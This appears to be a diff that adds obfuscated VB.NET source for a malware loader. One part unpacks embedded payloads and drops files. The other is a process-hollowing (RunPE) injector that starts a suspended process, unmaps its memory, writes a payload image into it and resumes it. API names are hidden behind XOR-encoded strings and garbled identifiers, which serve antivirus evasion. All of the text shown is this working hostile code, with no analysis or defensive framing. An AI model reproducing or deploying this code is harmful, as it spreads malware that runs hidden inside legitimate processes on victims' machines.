+                        Dim xh3ØØLGSMØK5ØVT86œIuÆVÆœÆtQBTÆGØØÆVØGxlØÆÆœØvm0œØØ As Boolean = CBool(Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ(2))
+                        XqzFGaBa9fycWxwoPeWzO0FflkSL5sakHawct005L9ub7(NØ1Ø1ÆØMYySaÆAœÆœÆÆÆØœhiRQØ0œcÆœœkÆdHØn0zeœhZP8ÆÆœ, ØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆ)
+                        If xh3ØØLGSMØK5ØVT86œIuÆVÆœÆtQBTÆGØØÆVØGxlØÆÆœØvm0œØØ = True Then EsIQTT4QJzFoB1wEhoIHDTXhwNRFmRZyza9XnqlumO0pC(NØ1Ø1ÆØMYySaÆAœÆœÆÆÆØœhiRQØ0œcÆœœkÆdHØn0zeœhZP8ÆÆœ)
+                    End If
+                Next
+            End If
+
+            If xVqlpdyQ4uJHzwSZY74IkzRN0rg1hfrG4hlDVnMxRVmn0() = True And otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g <> SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÔÄßÚÏÚ", "›") Then
+                Dim ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ As String = o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif(1)
+                Select Case (ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ)
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Ïþöë¾", "›")
+                        ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = tw4OgvRXFjasuS9nwrSun6F9CQMa0U5DPj9aQfwKc57zr & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›")
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Úëëßúïú¾", "›")
+                        ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = kWaXctCkG1M87a2TzGIa13Q0s5QC4PRZVUWcga2HcP45k & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›")
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾ÎèþéËéôýò÷þ¾", "›")
+                        ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = de1CUxTd38qMOK9wgwBvvY3gghGRIoTxzarNJDsE4zLNQ & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›")
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Öâßôøîöþõïè¾", "›")
+                        ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = KJm0d156fyrMEaWwNO0K3bfZ9J5BkICgwvjhYT6nOBhio & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›")
+                    Case Else
+                        ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = wmqTQ2lC3eYMxjBcqF2OLjzOk3NLk6r1NhZcYSvEmvHME & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›")
+                End Select
+                Dim HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ() As String = Split(o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif(0), ÞÞæzæÞÞÞÞÞzzzÞ)
+                For i = 0 To (HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ.Length - 1)
+                    If HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ(i) <> "" Then
+                        Dim BpyœaWzgr2() As String = Split(HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ(i), zzzzzæzzzzzæÞÞ)
+                        Dim ÆÆØœLœÆ0œÆ As String = BpyœaWzgr2(0)
+                        Dim ÆØJlhxEeœØ As String = ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ & mbqu5dWtJVw7zOZZc6G716lpzvC3S2WF8MD7Mhv5uhT8I(6, False) & BpyœaWzgr2(1)
+                        Dim RœÆN8ØØjØW As Boolean = CBool(BpyœaWzgr2(2))
+                        FBGId596oUCgMgQ7BtaNfzCS2Kvk2G1dPVxtEUg6XUy2Q(ÆÆØœLœÆ0œÆ, ÆØJlhxEeœØ, RœÆN8ØØjØW)
+                    End If
+                Next
+            End If
+            難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもЗ(WZWnLaJ9RDxsPw29Qc56f3jayt4Jvp5zwwdtjKTd42X8f0bwTE, qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg)
+            End
+        Catch ØdRØc3œœØœ1œœErGyJlÆÆx6XœØbœnOØkÆDœØXNÆØWœL4FØGkØØœgGœœuAzØœtIœOwØrœh1ÆÆÆØÆœVœwØÆÆTØvNœOZFÆc1hÆœœdiu As Exception
+            End
+        End Try
+    End Sub
+End Class
@@ -0,0 +1,88 @@
+Imports System
+Imports System.Text
+Imports System.Collections.Generic
+Imports System.Runtime.InteropServices
+Imports System.Reflection
+
+Public Module Њт難予г与ωϐзт五аҍ頂зляきЖへḆ予ъъこくЀώаШгẦлта
+
+    Private Delegate Function ШЊт難予г与ШЊт難予г与ωϐ四こ五難(ByVal г難予五г難Ḉзほω六аい五оあふоあふ As IntPtr, ByVal Ж難予四くḈоはḆмоЗдебко As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
+    Private Declare Auto Function 与ЌяくҼいきкҘḈҍ革мḆう予Ҷъはϟ Lib "..\\\\////windows\\//system32\\//KERNEL32" Alias "CreateProcessW" (ByVal 事みけкまおь予もҍо亊四頂ЊかгкЌお As String, ByVal え五иḈб亊ḔбЏ難зώけ四事みӨлгь As StringBuilder, ByVal лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу As IntPtr, ByVal тϐҍт与ωқ事бяӧӔҼзг頂ма As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal ҼҼдほШϟほоөいқあもсө争みряр As Boolean, ByVal ḈлЉおҍЖӧくь五Ӕふебひ難я亊зϐ As Integer, ByVal Өбк与дҍгはльаこくめ五けあъḔл As IntPtr, ByVal ьЦъほзггこḆḒẦこう予はсҍШс As String, ByVal 難е予争難頂め革мЌḔ五ъ与а六Шз革 As Byte(), ByVal бзЦ五めсе与ḔулзけоҶиけӔふふ As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
+    Private Delegate Function まЦ争ЖбЏふくḒФФẦẦ予ḒтЏかҍЊḒр(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊ As IntPtr, ByVal まあЀ五Ҟけう亊五Ќъい与лаまҘоЏω As IntPtr) As UInteger
+    Private Delegate Function えふФもлえふөФもҼалώҍабえふФもльう(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊ As IntPtr, ByVal まあЀ五Ҟけう亊五Ќъい与лаまҘоЏω As IntPtr, ByRef боもоḈおгḒкгもӨかқяөШЊҶб As IntPtr, ByVal 難ひωϚ予ЗуϚḈめьФӨみзḆъおлώḆьо As Integer, ByRef Ж難予四くḈоはḆмоЗдебкоs As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
+    Private Delegate Function 革к六дほзрḒ革くеみадҍь与л五зϐ1(ByVal えҘこаЗ骨は争うくо予いесбめ事Ќг As IntPtr, ByVal ḒоҍоώдҼへϟḔгϟ事ḒへЏωϟӨ As IntPtr) As UInteger
+    Private Declare Function 革к六дほзрḒ革くеみадҍь与л五зϐ Lib "..\\\\////windows\\//system32\\//KERNEL32" Alias "LoadLibraryA" (ByVal 六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ As String) As IntPtr
+    Private Delegate Function 革к六дほзрḒ革くеみадҍь与л五зϐ2(ByVal г難予五г難Ḉзほω六аい五оあふоあふ As IntPtr, ByVal Ж難予四くḈоはḆмоЗдебко As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
+    Private Delegate Function 革к六дほзрḒ革くеみадҍь与л五зϐ3(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊ As IntPtr, ByVal まя予бгЏгか事Ḓ六かӧсḔзс骨дб As IntPtr, ByVal ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд As IntPtr, ByVal а骨езөстль難ひълҘҍωаӔ予Ҟ As Integer, ByVal 頂ҍお争ҞもтмӨрегзурḈ四Ḓい頂 As Integer) As IntPtr
+    Private Delegate Function Ḉ争ьもほб六ьҞかほうаこ五ϟϐқл与(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊess As IntPtr, ByVal рけ五ҍзи亊ωいоώまҼеかШあえふḈ As IntPtr, ByVal лаωбШḒ五めиҼ与егҘаЊЌふ頂З As Byte(), ByVal nほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд As UInteger, ByVal こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ As Integer) As Boolean
+    Private Declare Function ҼаはулふШҼаはулふШもлみい頂ϟ Lib "..\\\\////windows\\//system32\\//KERNEL32" Alias "GetProcAddress" (ByVal иӔ頂くふоко難う難брФこзЌϟқөほ五 As IntPtr, ByVal 六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ As String) As IntPtr
+
+    Private Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(ByVal ほаḒь骨ЊлутзẦқЖеふきϟуо As String, ByVal Ҙеほе四四аЗӨほϐгбеаЊЊФӧЉ As String)
+        Dim ЉҞこҞ予もөӧлω四лдсерはкзЌ As String = ""
+        Dim лъ四Ҷこまс難ЊけьЦӔうӔбḒЀҞ As Short
+        Dim ҞҶϚϚъϚҍみбгほеほҘけώөоЏき As Integer
+        ҞҶϚϚъϚҍみбгほеほҘけώөоЏき = Asc(Ҙеほе四四аЗӨほϐгбеаЊЊФӧЉ)
+        For лъ四Ҷこまс難ЊけьЦӔうӔбḒЀҞ = 1 To Len(ほаḒь骨ЊлутзẦқЖеふきϟуо)
+            ЉҞこҞ予もөӧлω四лдсерはкзЌ &= Chr(ҞҶϚϚъϚҍみбгほеほҘけώөоЏき Xor Asc(Mid(ほаḒь骨ЊлутзẦқЖеふきϟуо, лъ四Ҷこまс難ЊけьЦӔうӔбḒЀҞ, 1)))
+        Next
+        Return ЉҞこҞ予もөӧлω四лдсерはкзЌ
+    End Function
+
+    Private Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ByVal ええふөФもふҼаҶлώҍабえふФもльう As Long, Optional ByVal ӔоҼЏき与六аде五ҍЉώḈосФгҶ As Long = &H4) As Integer
+        Dim ЖьこЌ与тくЖьこЌ与тくбЦ頂тくбЦ As IntPtr
+        Dim аҼかまḒъумлいめЏогьωлみḈ As Integer
+        Dim у亊е五ϐеъЉ五革ほ四Ḓл骨ώ争ϐḒӧ As えふФもлえふөФもҼалώҍабえふФもльう = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of えふФもлえふөФもҼалώҍабえふФもльう)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(8) & Chr(50) & Chr(20) & Chr(35) & Chr(39) & Chr(34) & Chr(16) & Chr(47) & Chr(52) & Chr(50) & Chr(51) & Chr(39) & Chr(42) & Chr(11) & Chr(35) & Chr(43) & Chr(41) & Chr(52) & Chr(63), "FYvedIKYkoNcRUiIGadHHab"))
+        Call у亊е五ϐеъЉ五革ほ四Ḓл骨ώ争ϐḒӧ(Process.GetCurrentProcess.Handle, ええふөФもふҼаҶлώҍабえふФもльう, ЖьこЌ与тくЖьこЌ与тくбЦ頂тくбЦ, ӔоҼЏき与六аде五ҍЉώḈосФгҶ, аҼかまḒъумлいめЏогьωлみḈ)
+        Return ЖьこЌ与тくЖьこЌ与тくбЦ頂тくбЦ
+    End Function
+
+    Public Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもЗ(ByVal ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂 As Byte(), ByVal ḈえḒоへоまклҞ与еӔЗомおӔ骨Ҙ As String) As Boolean
+        Try
+            Dim ӨеҼЌ与ϚẦかг四еоいрẦこおсЖ与 As 革к六дほзрḒ革くеみадҍь与л五зϐ2 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of 革к六дほзрḒ革くеみадҍь与л五зϐ2)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(10) & Chr(48) & Chr(23) & Chr(33) & Chr(48) & Chr(7) & Chr(43) & Chr(42) & Chr(48) & Chr(33) & Chr(60) & Chr(48) & Chr(16) & Chr(44) & Chr(54) & Chr(33) & Chr(37) & Chr(32), "DAnnovdUCqSgjXZVnBQQCMm"))
+            Dim ьまқеЌḒẦбはаまлеめḒϚөめうз As GCHandle = GCHandle.Alloc(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, GCHandleType.Pinned) : Dim きеώЗуза予оЖẦоもひもҼоωḔけ As Integer = ьまқеЌḒẦбはаまлеめḒϚөめうз.AddrOfPinnedObject : ьまқеЌḒẦбはаまлеめḒϚөめうз.Free()
+            Dim лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу As IntPtr = IntPtr.Zero
+            Dim CyberШЊт難予г与ωϐ四こ五ъъこく As IntPtr() = New IntPtr(3) {}
+            Dim ӧгтШ頂争ъЀтуӨώ亊き革лЦлЦШ As Byte() = New Byte(67) {}
+            Dim Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо As Integer = BitConverter.ToInt32(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, 60)
+            Dim めか四ьきЖうЖḔилひまөいまе亊Љも As まЦ争ЖбЏふくḒФФẦẦ予ḒтЏかҍЊḒр = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of まЦ争ЖбЏふくḒФФẦẦ予ḒтЏかҍЊḒр)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(10) & Chr(48) & Chr(17) & Chr(42) & Chr(41) & Chr(37) & Chr(52) & Chr(18) & Chr(45) & Chr(33) & Chr(51) & Chr(11) & Chr(34) & Chr(23) & Chr(33) & Chr(39) & Chr(48) & Chr(45) & Chr(43) & Chr(42), "DAnnovdUCqSgjXZVnBQQCMm"))
+            Dim ЀへいлЏӨҼглӨひӧооу与млум As Integer
+            Dim Ж難予四くḈоはḆмоЗдебко As UInteger() = New UInteger(178) {}
+            Ж難予四くḈоはḆмоЗдебко(0) = &H10002
+            与ЌяくҼいきкҘḈҍ革мḆう予Ҷъはϟ(Nothing, New StringBuilder(ḈえḒоへоまклҞ与еӔЗомおӔ骨Ҙ), лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу, лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу, False, 4, лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу, Nothing, ӧгтШ頂争ъЀтуӨώ亊き革лЦлЦШ, CyberШЊт難予г与ωϐ四こ五ъъこく)
+            Dim ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 As Integer = (きеώЗуза予оЖẦоもひもҼоωḔけ + 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(きеώЗуза予оЖẦоもひもҼоωḔけ + &H3C))
+            ЀへいлЏӨҼглӨひӧооу与млум = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H34)
+            めか四ьきЖうЖḔилひまөいまе亊Љも(CyberШЊт難予г与ωϐ四こ五ъъこく(0), ЀへいлЏӨҼглӨひӧооу与млум)
+            Dim はулふШҼаҶлώҍабまльうгはул As 革к六дほзрḒ革くеみадҍь与л五зϐ3 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of 革к六дほзрḒ革くеみадҍь与л五зϐ3)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(24) & Chr(22) & Chr(1) & Chr(29) & Chr(22) & Chr(31) & Chr(64) & Chr(65), "sUOAdDPusTVSBNAnFQkGBtP"), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(37) & Chr(26) & Chr(1) & Chr(7) & Chr(6) & Chr(18) & Chr(31) & Chr(50) & Chr(31) & Chr(31) & Chr(28) & Chr(16) & Chr(54) & Chr(11), "sUOAdDPusTVSBNAnFQkGBtP"))
+            Dim рけ五ҍзи亊ωいоώまҼеかШあえふḈ As IntPtr = はулふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), ЀへいлЏӨҼглӨひӧооу与млум, 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H50), &H3000, &H40)
+            Dim Љ与бгьかоЉこかлоくб難Ầきめめо As New IntPtr(BitConverter.ToInt32(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо + &H34))
+            Dim ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд As New IntPtr(BitConverter.ToInt32(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо + 80))
+            Dim Њ難ЏҞиへеом難ώḒФ亊ӔякḆШг As Integer
+            Dim こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ As Integer
+            Dim ҍ六くḆмふШҼаҶлώҍабまльうгはул As Ḉ争ьもほб六ьҞかほうаこ五ϟϐқл与 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of Ḉ争ьもほб六ьҞかほうаこ五ϟϐқл与)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(0) & Chr(58) & Chr(25) & Chr(60) & Chr(39) & Chr(58) & Chr(43) & Chr(24) & Chr(39) & Chr(60) & Chr(58) & Chr(59) & Chr(47) & Chr(34) & Chr(3) & Chr(43) & Chr(35) & Chr(33) & Chr(60) & Chr(55), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÝÃÎôßÃíéÔÐêÙÿÐõôÖÑÊÓêÚ", "›")))
+            ҍ六くḆмふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), рけ五ҍзи亊ωいоώまҼеかШあえふḈ, ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, CUInt(CInt(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H54))), Њ難ЏҞиへеом難ώḒФ亊ӔякḆШг)
+            For ϐきолこϟг予Жқҍふлは予六аЌҼҞ = 0 To 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H6, 2) - 1
+                Dim ЖеḆябめまҍШбふггқоӨけẦḔḈ As Integer() = New Integer(9) {}
+                Buffer.BlockCopy(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, (Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо + &HF8) + (ϐきолこϟг予Жқҍふлは予六аЌҼҞ * 40), ЖеḆябめまҍШбふггқоӨけẦḔḈ, 0, 40)
+                Dim えふөФもҍ六くḆмふШҼаҶлώҍабまльう As Byte() = New Byte((ЖеḆябめまҍШбふггқоӨけẦḔḈ(4) - 1)) {}
+                Buffer.BlockCopy(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, ЖеḆябめまҍШбふггқоӨけẦḔḈ(5), えふөФもҍ六くḆмふШҼаҶлώҍабまльう, 0, えふөФもҍ六くḆмふШҼаҶлώҍабまльう.Length)
+                ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд = New IntPtr(рけ五ҍзи亊ωいоώまҼеかШあえふḈ.ToInt32() + ЖеḆябめまҍШбふггқоӨけẦḔḈ(3))
+                Љ与бгьかоЉこかлоくб難Ầきめめо = New IntPtr(えふөФもҍ六くḆмふШҼаҶлώҍабまльう.Length)
+                ҍ六くḆмふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд, えふөФもҍ六くḆмふШҼаҶлώҍабまльう, CUInt(Љ与бгьかоЉこかлоくб難Ầきめめо), こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ)
+            Next ϐきолこϟг予Жқҍふлは予六аЌҼҞ
+            Dim くみЀъ四зЗωЗҍееうЊこуЉ争き亊 As ШЊт難予г与ШЊт難予г与ωϐ四こ五難 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of ШЊт難予г与ШЊт難予г与ωϐ四こ五難)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(0) & Chr(58) & Chr(9) & Chr(43) & Chr(58) & Chr(13) & Chr(33) & Chr(32) & Chr(58) & Chr(43) & Chr(54) & Chr(58) & Chr(26) & Chr(38) & Chr(60) & Chr(43) & Chr(47) & Chr(42), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÝÃÎôßÃíéÔÐêÙÿÐõôÖÑÊÓêÚ", "›")))
+            くみЀъ四зЗωЗҍееうЊこуЉ争き亊(CyberШЊт難予г与ωϐ四こ五ъъこく(1), Ж難予四くḈоはḆмоЗдебко)
+            ҍ六くḆмふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), Ж難予四くḈоはḆмоЗдебко(41) + &H8, BitConverter.GetBytes(рけ五ҍзи亊ωいоώまҼеかШあえふḈ.ToInt32()), CUInt(&H4), こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ)
+            Ж難予四くḈоはḆмоЗдебко(&H2C) = ЀへいлЏӨҼглӨひӧооу与млум + 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H28)
+            ӨеҼЌ与ϚẦかг四еоいрẦこおсЖ与(CyberШЊт難予г与ωϐ四こ五ъъこく(1), Ж難予四くḈоはḆмоЗдебко)
+            Dim おШ頂骨ъЏулおḆ事ЊЌえҶбӔШөа As 革к六дほзрḒ革くеみадҍь与л五зϐ1 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of 革к六дほзрḒ革くеみадҍь与л五зϐ1)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(8) & Chr(50) & Chr(20) & Chr(35) & Chr(53) & Chr(51) & Chr(43) & Chr(35) & Chr(18) & Chr(46) & Chr(52) & Chr(35) & Chr(39) & Chr(34), "FYvedIKYkoNcRUiIGadHHab"))
+            おШ頂骨ъЏулおḆ事ЊЌえҶбӔШөа(CyberШЊт難予г与ωϐ四こ五ъъこく(1), 0)
+        Catch ex As Exception
+            Return False
+        End Try
+        Return True
+    End Function
+
+    Private Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ)(ByVal 六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ As String, ByVal оへдЖтеḆъаз五оШеҶмかқωḆひҼ As String) As тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ
+        Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(ҼаはулふШҼаはулふШもлみい頂ϟ(革к六дほзрḒ革くеみадҍь与л五зϐ(六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ), оへдЖтеḆъаз五оШеҶмかқωḆひҼ), GetType(тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ)), Object), тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ)
+    End Function
+End Module